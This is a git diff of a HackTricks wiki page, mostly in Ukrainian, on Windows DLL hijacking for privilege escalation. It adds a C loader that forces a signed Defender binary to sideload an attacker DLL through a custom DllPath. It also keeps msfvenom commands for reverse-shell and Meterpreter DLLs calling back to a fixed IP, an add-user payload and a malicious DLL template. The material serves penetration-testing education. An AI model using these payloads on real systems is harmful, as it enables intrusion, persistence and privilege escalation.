mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio
This commit is contained in:
Translator
parent
065610b6b3
commit
e6a1a72316
@ -4,24 +4,24 @@
|
||||
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Базова інформація
|
||||
|
||||
DLL Hijacking передбачає маніпуляцію довіреною програмою для завантаження шкідливого DLL. Цей термін охоплює кілька тактик, таких як **DLL Spoofing, Injection, і Side-Loading**. Він в основному використовується для виконання коду, досягнення стійкості та, меншою мірою, ескалації привілеїв. Незважаючи на акцент на ескалації тут, метод захоплення залишається послідовним у всіх цілях.
|
||||
DLL Hijacking передбачає маніпуляцію довіреним застосунком, щоб він завантажив шкідливу DLL. Цей термін охоплює декілька тактик, таких як **DLL Spoofing, Injection, and Side-Loading**. Він в основному використовується для виконання коду, досягнення persistence і, рідше, privilege escalation. Незважаючи на фокус на ескалації тут, методика hijacking залишається однаковою для різних цілей.
|
||||
|
||||
### Common Techniques
|
||||
### Поширені техніки
|
||||
|
||||
Для DLL hijacking використовуються кілька методів, кожен з яких має свою ефективність залежно від стратегії завантаження DLL програми:
|
||||
Існує кілька методів DLL hijacking, кожен з яких ефективний залежно від стратегії завантаження DLL застосунку:
|
||||
|
||||
1. **DLL Replacement**: Заміна справжнього DLL на шкідливий, за бажанням використовуючи DLL Proxying для збереження функціональності оригінального DLL.
|
||||
2. **DLL Search Order Hijacking**: Розміщення шкідливого DLL у пошуковому шляху перед легітимним, експлуатуючи шаблон пошуку програми.
|
||||
3. **Phantom DLL Hijacking**: Створення шкідливого DLL для програми, щоб завантажити, вважаючи, що це неіснуючий необхідний DLL.
|
||||
4. **DLL Redirection**: Модифікація параметрів пошуку, таких як `%PATH%` або `.exe.manifest` / `.exe.local` файли, щоб направити програму на шкідливий DLL.
|
||||
5. **WinSxS DLL Replacement**: Заміна легітимного DLL на шкідливий у каталозі WinSxS, метод, який часто асоціюється з DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Розміщення шкідливого DLL у каталозі, контрольованому користувачем, з копією програми, що нагадує техніки Binary Proxy Execution.
|
||||
1. **DLL Replacement**: Заміна справжньої DLL на шкідливу, опціонально з використанням DLL Proxying для збереження функціональності оригінальної DLL.
|
||||
2. **DLL Search Order Hijacking**: Розміщення шкідливої DLL у шляху пошуку раніше за легітимну, експлуатуючи шаблон пошуку застосунку.
|
||||
3. **Phantom DLL Hijacking**: Створення шкідливої DLL для застосунку, який намагається завантажити неіснуючу обов'язкову DLL.
|
||||
4. **DLL Redirection**: Зміна параметрів пошуку, таких як %PATH% або .exe.manifest / .exe.local файли, щоб спрямувати застосунок до шкідливої DLL.
|
||||
5. **WinSxS DLL Replacement**: Підміна легітимної DLL на шкідливу у директорії WinSxS, метод часто пов’язаний із DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Розміщення шкідливої DLL у керованій користувачем директорії разом зі скопійованим застосунком, що нагадує техніки Binary Proxy Execution.
|
||||
|
||||
## Finding missing Dlls
|
||||
## Пошук відсутніх Dlls
|
||||
|
||||
Найпоширеніший спосіб знайти відсутні DLL у системі - це запуск [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) з sysinternals, **встановивши** **наступні 2 фільтри**:
|
||||
Найпоширеніший спосіб знайти відсутні Dlls у системі — запустити [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) зі sysinternals, **встановивши** **наступні 2 фільтри**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -31,61 +31,152 @@ DLL Hijacking передбачає маніпуляцію довіреною п
|
||||
|
||||
.png>)
|
||||
|
||||
Якщо ви шукаєте **відсутні dll загалом**, ви **залишаєте** це запущеним на кілька **секунд**.\
|
||||
Якщо ви шукаєте **відсутній dll у конкретному виконуваному файлі**, вам слід встановити **інший фільтр, наприклад "Process Name" "contains" "\<exec name>", виконати його та зупинити захоплення подій**.
|
||||
Якщо ви шукаєте **відсутні dlls загалом**, ви **залишаєте** це запущеним на кілька **секунд**.\
|
||||
Якщо ви шукаєте **відсутню dll всередині конкретного виконуваного файлу**, вам слід встановити **інший фільтр, наприклад "Process Name" "contains" "\<exec name>", виконати його та зупинити захоплення подій**.
|
||||
|
||||
## Exploiting Missing Dlls
|
||||
|
||||
Щоб ескалувати привілеї, найкраща можливість, яку ми маємо, - це змогти **написати dll, який процес з привілеями спробує завантажити** в деякому **місці, де його будуть шукати**. Тому ми зможемо **написати** dll у **папці**, де **dll шукається перед** папкою, де знаходиться **оригінальний dll** (незвичайний випадок), або ми зможемо **записати в деяку папку, де dll буде шукатися**, а оригінальний **dll не існує** в жодній папці.
|
||||
Щоб ескалювати привілеї, найкращим шансом є можливість **записати DLL, яку процес з підвищеними правами спробує завантажити** у одне з **місць, де її будуть шукати**. Таким чином, ми зможемо **записати** DLL у **папку**, де **DLL шукають раніше**, ніж папку з **оригінальною DLL** (рідкісний випадок), або ми зможемо **записати у папку, де DLL буде шукатись**, і оригінальної **DLL не існує** в жодній з папок.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**У** [**документації Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **ви можете знайти, як конкретно завантажуються DLL.**
|
||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||||
|
||||
**Windows програми** шукають DLL, дотримуючись набору **попередньо визначених пошукових шляхів**, дотримуючись певної послідовності. Проблема DLL hijacking виникає, коли шкідливий DLL стратегічно розміщується в одному з цих каталогів, забезпечуючи його завантаження перед автентичним DLL. Рішенням для запобігання цьому є забезпечення того, щоб програма використовувала абсолютні шляхи при посиланні на DLL, які їй потрібні.
|
||||
**Windows applications** шукають DLL, слідуючи набору **передвизначених шляхів пошуку**, дотримуючись певної послідовності. Проблема DLL hijacking виникає, коли шкідлива DLL стратегічно розміщується в одному з цих каталогів так, щоб вона була завантажена раніше за автентичну DLL. Рішення для запобігання цьому — переконатись, що застосунок використовує абсолютні шляхи при посиланні на потрібні DLL.
|
||||
|
||||
Ви можете побачити **порядок пошуку DLL на 32-бітних** системах нижче:
|
||||
Нижче ви можете побачити **DLL search order на 32-bit** системах:
|
||||
|
||||
1. Каталог, з якого завантажилася програма.
|
||||
2. Системний каталог. Використовуйте функцію [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya), щоб отримати шлях до цього каталогу.(_C:\Windows\System32_)
|
||||
3. 16-бітний системний каталог. Немає функції, яка отримує шлях до цього каталогу, але він шукається. (_C:\Windows\System_)
|
||||
4. Каталог Windows. Використовуйте функцію [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya), щоб отримати шлях до цього каталогу.
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. Поточний каталог.
|
||||
6. Каталоги, які вказані в змінній середовища PATH. Зверніть увагу, що це не включає шлях для кожної програми, вказаний у реєстрі **App Paths**. Ключ **App Paths** не використовується при обчисленні шляху пошуку DLL.
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
Це **за замовчуванням** порядок пошуку з **SafeDllSearchMode** увімкненим. Коли він вимкнений, поточний каталог підвищується до другого місця. Щоб вимкнути цю функцію, створіть значення реєстру **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** і встановіть його на 0 (за замовчуванням увімкнено).
|
||||
Це **типовий** порядок пошуку з увімкненим **SafeDllSearchMode**. Коли він вимкнений, поточний каталог піднімається до другої позиції. Щоб відключити цю функцію, створіть значення реєстру **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** і встановіть його в 0 (за замовчуванням ввімкнено).
|
||||
|
||||
Якщо функція [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) викликається з **LOAD_WITH_ALTERED_SEARCH_PATH**, пошук починається в каталозі виконуваного модуля, який **LoadLibraryEx** завантажує.
|
||||
Якщо функцію [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) викликають з **LOAD_WITH_ALTERED_SEARCH_PATH**, пошук починається в директорії виконуваного модуля, який **LoadLibraryEx** завантажує.
|
||||
|
||||
Нарешті, зверніть увагу, що **dll може бути завантажено, вказуючи абсолютний шлях, а не просто ім'я**. У цьому випадку цей dll **шукатиметься лише в цьому шляху** (якщо у dll є якісь залежності, їх шукатимуть так, як якщо б їх завантажили за ім'ям).
|
||||
Нарешті, зверніть увагу, що **DLL може бути завантажено із вказанням абсолютного шляху замість лише імені**. У такому випадку ця DLL **буде шукатись лише за цим шляхом** (якщо DLL має залежності, вони будуть шукатись як завантажені просто за іменем).
|
||||
|
||||
Є й інші способи змінити порядок пошуку, але я не буду пояснювати їх тут.
|
||||
Існують інші способи змінити порядок пошуку, але я не буду тут їх пояснювати.
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
В документації Windows зазначено певні винятки з стандартного порядку пошуку DLL:
|
||||
Просунутий спосіб детерміновано вплинути на DLL search path новоствореного процесу — встановити поле DllPath в RTL_USER_PROCESS_PARAMETERS при створенні процесу з нативними API ntdll. Поставивши тут директорію, контрольовану атакуючим, цільовий процес, який вирішує імпортовану DLL за іменем (без абсолютного шляху і без використання прапорів безпечного завантаження), може бути змушений завантажити шкідливу DLL з цієї директорії.
|
||||
|
||||
- Коли зустрічається **DLL, яка має таку ж назву, як одна, що вже завантажена в пам'ять**, система обходить звичайний пошук. Натомість вона виконує перевірку на перенаправлення та маніфест, перш ніж за замовчуванням використовувати DLL, вже в пам'яті. **У цьому сценарії система не проводить пошук для DLL**.
|
||||
- У випадках, коли DLL визнано **відомим DLL** для поточної версії Windows, система використовуватиме свою версію відомого DLL разом з будь-якими його залежними DLL, **пропускаючи процес пошуку**. Ключ реєстру **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** містить список цих відомих DLL.
|
||||
- Якщо **DLL має залежності**, пошук цих залежних DLL проводиться так, ніби їх вказано лише за їх **іменами модулів**, незалежно від того, чи була початкова DLL ідентифікована через повний шлях.
|
||||
Ключова ідея
|
||||
- Побудувати параметри процесу з RtlCreateProcessParametersEx і вказати власний DllPath, що вказує на вашу контрольовану папку (наприклад, директорію, де знаходиться ваш dropper/unpacker).
|
||||
- Створити процес з RtlCreateUserProcess. Коли цільовий бінар розв'язує DLL за іменем, загрузчик звернеться до цього наданого DllPath під час розв'язання, що дозволяє надійно виконати sideloading навіть коли шкідлива DLL не знаходиться поруч із цільовим EXE.
|
||||
|
||||
### Escalating Privileges
|
||||
Примітки/обмеження
|
||||
- Це впливає на створюваний дочірній процес; відрізняється від SetDllDirectory, яка впливає лише на поточний процес.
|
||||
- Ціль має імпортувати або викликати LoadLibrary для DLL за іменем (без абсолютного шляху і без використання LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs і захардкоджені абсолютні шляхи не можна захакати. Forwarded exports та SxS можуть змінювати пріоритет.
|
||||
|
||||
**Requirements**:
|
||||
Мінімальний C-приклад (ntdll, wide strings, спрощена обробка помилок):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
- Визначити процес, який працює або буде працювати під **різними привілеями** (горизонтальний або бічний рух), який **не має DLL**.
|
||||
- Забезпечити **доступ на запис** для будь-якої **каталогу**, в якому **DLL** буде **шукатися**. Це місце може бути каталогом виконуваного файлу або каталогом у системному шляху.
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
Так, вимоги складно знайти, оскільки **за замовчуванням це досить дивно - знайти привілейований виконуваний файл без dll**, і ще **більш дивно мати права на запис у папці системного шляху** (за замовчуванням ви не можете). Але в неправильно налаштованих середовищах це можливо.\
|
||||
У випадку, якщо вам пощастить і ви відповідаєте вимогам, ви можете перевірити проект [UACME](https://github.com/hfiref0x/UACME). Навіть якщо **основна мета проекту - обійти UAC**, ви можете знайти там **PoC** для Dll hijaking для версії Windows, яку ви можете використовувати (можливо, просто змінивши шлях до папки, де у вас є права на запис).
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
Зверніть увагу, що ви можете **перевірити свої права в папці**, виконавши:
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Практичний приклад використання
|
||||
- Помістіть зловмисний xmllite.dll (який експортує необхідні функції або виступає як проксі до справжнього) у ваш каталог DllPath.
|
||||
- Запустіть підписаний бінарник, відомий тим, що шукає xmllite.dll за іменем, використовуючи описану вище техніку. Завантажувач резолвить імпорт через вказаний DllPath і підвантажує ваш DLL.
|
||||
|
||||
Цю техніку спостерігали в дикій природі як рушійну для багатоступеневих sideloading ланцюгів: початковий launcher скидає допоміжний DLL, який потім породжує підписаний Microsoft, hijackable бінарник з кастомним DllPath, щоб примусово завантажити DLL атакувальника з тимчасового каталогу.
|
||||
|
||||
|
||||
#### Винятки щодо порядку пошуку dll з документації Windows
|
||||
|
||||
У документації Windows зазначені певні винятки зі стандартного порядку пошуку DLL:
|
||||
|
||||
- Коли зустрічається **DLL, яка має те саме ім'я, що й одна вже завантажена в пам'ять**, система обходить звичайний пошук. Замість цього вона проводить перевірку перенаправлення та маніфеста перед тим, як повернутися до DLL, яка вже знаходиться в пам'яті. **У цьому сценарії система не проводить пошуку DLL**.
|
||||
- У випадках, коли DLL визнано **known DLL** для поточної версії Windows, система використовуватиме свою версію цієї known DLL разом з будь-якими її залежними DLL, **уникаючи процесу пошуку**. Ключ реєстру **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** містить список таких known DLL.
|
||||
- Якщо **DLL має залежності**, пошук цих залежних DLL виконується так, ніби вони вказані лише своїми **іменами модулів**, незалежно від того, чи початкову DLL було ідентифіковано через повний шлях.
|
||||
|
||||
### Підвищення привілеїв
|
||||
|
||||
**Вимоги**:
|
||||
|
||||
- Виявити процес, який працює або буде працювати з **іншими привілеями** (горизонтальне або латеральне переміщення), який **не має DLL**.
|
||||
- Переконатися, що є **права на запис** у будь-який **каталог**, у якому буде **шукатися DLL**. Це місце може бути каталогом виконуваного файлу або каталогом в системному шляху.
|
||||
|
||||
Так, ці вимоги важко знайти, оскільки **за замовчуванням досить дивно знайти привілейований виконуваний файл без DLL**, і ще **дивніше мати права запису в папці системного шляху** (звичайно, за замовчуванням це неможливо). Але в неправильно сконфігурованих середовищах це можливо.\
|
||||
Якщо вам пощастить і ви відповідаєте вимогам, можете перевірити проект [UACME](https://github.com/hfiref0x/UACME). Навіть якщо **основна мета проєкту — обійти UAC**, ви можете знайти там **PoC** Dll hijaking для версії Windows, яку можна використати (ймовірно, просто змінивши шлях папки, де у вас є права на запис).
|
||||
|
||||
Зверніть увагу, що ви можете **перевірити свої права в папці**, зробивши:
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
І **перевірте дозволи всіх папок у PATH**:
|
||||
І **перевірте права доступу всіх папок у PATH**:
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
@ -94,7 +185,8 @@ for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Для повного посібника про те, як **зловживати Dll Hijacking для підвищення привілеїв** з правами на запис у **папку системного шляху**, перевірте:
|
||||
For a full guide on how to **abuse Dll Hijacking to escalate privileges** with permissions to write in a **System Path folder** check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
@ -102,25 +194,25 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
|
||||
|
||||
### Автоматизовані інструменти
|
||||
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) перевірить, чи маєте ви права на запис у будь-яку папку всередині системного PATH.\
|
||||
Інші цікаві автоматизовані інструменти для виявлення цієї вразливості - це **функції PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ та _Write-HijackDll._
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) перевірить, чи маєте ви права на запис у будь-яку папку в системному PATH.\
|
||||
Інші корисні автоматизовані інструменти для виявлення цієї вразливості — це функції **PowerSploit**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ та _Write-HijackDll_.
|
||||
|
||||
### Приклад
|
||||
|
||||
Якщо ви знайдете експлуатовану ситуацію, однією з найважливіших речей для успішної експлуатації буде **створити dll, яка експортує принаймні всі функції, які виконуваний файл імпортуватиме з неї**. У будь-якому випадку, зверніть увагу, що Dll Hijacking зручно використовувати для [підвищення з рівня середньої цілісності до високої **(обхід UAC)**](../authentication-credentials-uac-and-efs.md#uac) або з [**високої цілісності до SYSTEM**](#from-high-integrity-to-system)**.** Ви можете знайти приклад **як створити дійсну dll** в цьому дослідженні dll hijacking, зосередженому на dll hijacking для виконання: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
Більше того, у **наступному розділі** ви можете знайти деякі **базові коди dll**, які можуть бути корисними як **шаблони** або для створення **dll з не обов'язковими експортованими функціями**.
|
||||
Якщо ви знайдете експлуатований сценарій, однією з найважливіших речей для успішної експлуатації буде **створити dll, яка експортує принаймні всі функції, які виконуваний файл імпортуватиме з неї**. Зауважте, що Dll Hijacking корисний для [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) або з [**High Integrity to SYSTEM**](#from-high-integrity-to-system). Ви можете знайти приклад **how to create a valid dll** у цьому дослідженні dll hijacking, орієнтованому на виконання через dll hijacking: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows).\
|
||||
Крім того, у **наступному розділі** ви знайдете кілька **базових dll-кодів**, які можуть бути корисні як **шаблони** або для створення **dll, що експортує необов'язкові функції**.
|
||||
|
||||
## **Створення та компіляція Dlls**
|
||||
|
||||
### **Dll Проксіювання**
|
||||
### **Dll Proxifying**
|
||||
|
||||
В основному, **Dll проксі** - це Dll, здатна **виконувати ваш шкідливий код при завантаженні**, але також **виконувати** та **працювати** як **очікувалося**, **пересилаючи всі виклики до справжньої бібліотеки**.
|
||||
По суті, **Dll proxy** — це Dll, здатна **виконати ваш шкідливий код при завантаженні**, але також надавати і працювати як очікується, переадресовуючи всі виклики до справжньої бібліотеки.
|
||||
|
||||
За допомогою інструмента [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) або [**Spartacus**](https://github.com/Accenture/Spartacus) ви можете фактично **вказати виконуваний файл і вибрати бібліотеку**, яку хочете проксіювати, і **згенерувати проксійовану dll** або **вказати Dll** і **згенерувати проксійовану dll**.
|
||||
За допомогою інструмента [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) або [**Spartacus**](https://github.com/Accenture/Spartacus) ви можете вказати виконуваний файл і вибрати бібліотеку, яку хочете proxify, і згенерувати proxified dll, або вказати Dll і згенерувати proxified dll.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Отримати rev shell (x64):**
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
@ -128,13 +220,13 @@ msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Створіть користувача (x86, я не бачив версії x64):**
|
||||
**Створити користувача (x86 — я не бачив версії x64):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Ваш власний
|
||||
|
||||
Зверніть увагу, що в кількох випадках Dll, яку ви компілюєте, повинна **експортувати кілька функцій**, які будуть завантажені процесом жертви; якщо ці функції не існують, **бінарний файл не зможе їх завантажити** і **експлуатація зазнає невдачі**.
|
||||
Зверніть увагу, що в кількох випадках Dll, який ви компілюєте, повинен **export several functions**, які будуть завантажені victim process; якщо ці функції не існують, **binary won't be able to load** їх і **exploit will fail**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -215,11 +307,14 @@ break;
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Посилання
|
||||
## Джерела
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -3,123 +3,214 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
DLL Hijacking передбачає маніпуляцію довіреною програмою для завантаження шкідливого DLL. Цей термін охоплює кілька тактик, таких як **DLL Spoofing, Injection, і Side-Loading**. Він в основному використовується для виконання коду, досягнення стійкості та, меншою мірою, ескалації привілеїв. Незважаючи на акцент на ескалації тут, метод захоплення залишається незмінним для різних цілей.
|
||||
DLL Hijacking полягає в маніпуляції довіреним додатком з метою змусити його завантажити шкідливий DLL. Цей термін охоплює кілька тактик, таких як **DLL Spoofing, Injection, and Side-Loading**. Його головне застосування — code execution, досягнення persistence і, рідше, privilege escalation. Незалежно від фокусу на escalation тут, методика hijacking залишається тією ж для різних цілей.
|
||||
|
||||
### Common Techniques
|
||||
### Загальні техніки
|
||||
|
||||
Для DLL hijacking використовуються кілька методів, кожен з яких має свою ефективність залежно від стратегії завантаження DLL програми:
|
||||
Існує кілька методів для DLL hijacking, ефективність кожного залежить від стратегії завантаження DLL застосунком:
|
||||
|
||||
1. **DLL Replacement**: Заміна справжнього DLL на шкідливий, за бажанням використовуючи DLL Proxying для збереження функціональності оригінального DLL.
|
||||
2. **DLL Search Order Hijacking**: Розміщення шкідливого DLL у пошуковому шляху перед легітимним, експлуатуючи шаблон пошуку програми.
|
||||
3. **Phantom DLL Hijacking**: Створення шкідливого DLL для програми, щоб вона завантажила його, вважаючи, що це неіснуючий необхідний DLL.
|
||||
4. **DLL Redirection**: Модифікація параметрів пошуку, таких як `%PATH%` або `.exe.manifest` / `.exe.local` файли, щоб направити програму до шкідливого DLL.
|
||||
5. **WinSxS DLL Replacement**: Заміна легітимного DLL на шкідливий у каталозі WinSxS, метод, який часто асоціюється з DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Розміщення шкідливого DLL у каталозі, контрольованому користувачем, з копією програми, що нагадує техніки Binary Proxy Execution.
|
||||
1. **DLL Replacement**: Замінити справжній DLL на шкідливий, опційно використовуючи DLL Proxying для збереження функціональності оригінального DLL.
|
||||
2. **DLL Search Order Hijacking**: Розмістити шкідливий DLL у шляху пошуку, який перевіряється раніше за легітимний.
|
||||
3. **Phantom DLL Hijacking**: Створити шкідливий DLL для додатку, який спробує завантажити його, думаючи, що це відсутній обов'язковий DLL.
|
||||
4. **DLL Redirection**: Змінити параметри пошуку, як-от %PATH% або файли .exe.manifest / .exe.local, щоб спрямувати додаток до шкідливого DLL.
|
||||
5. **WinSxS DLL Replacement**: Замінити легітимний DLL на шкідливий у каталозі WinSxS — метод, часто пов'язаний із DLL side-loading.
|
||||
6. **Relative Path DLL Hijacking**: Розмістити шкідливий DLL у директорії під контролем користувача разом із скопійованим додатком, схоже на техніки Binary Proxy Execution.
|
||||
|
||||
## Finding missing Dlls
|
||||
|
||||
Найпоширеніший спосіб знайти відсутні DLL у системі - це запуск [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) з sysinternals, **встановивши** **наступні 2 фільтри**:
|
||||
Найпоширеніший спосіб знайти відсутні Dlls у системі — запустити [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) зі sysinternals і **налаштувати** **наступні 2 фільтри**:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
і просто показати **File System Activity**:
|
||||
а потім показати тільки **File System Activity**:
|
||||
|
||||
.png>)
|
||||
|
||||
Якщо ви шукаєте **відсутні dll загалом**, ви **залишаєте** це запущеним на кілька **секунд**.\
|
||||
Якщо ви шукаєте **відсутній dll у конкретному виконуваному файлі**, вам слід встановити **інший фільтр, наприклад "Process Name" "contains" "\<exec name>", виконати його та зупинити захоплення подій**.
|
||||
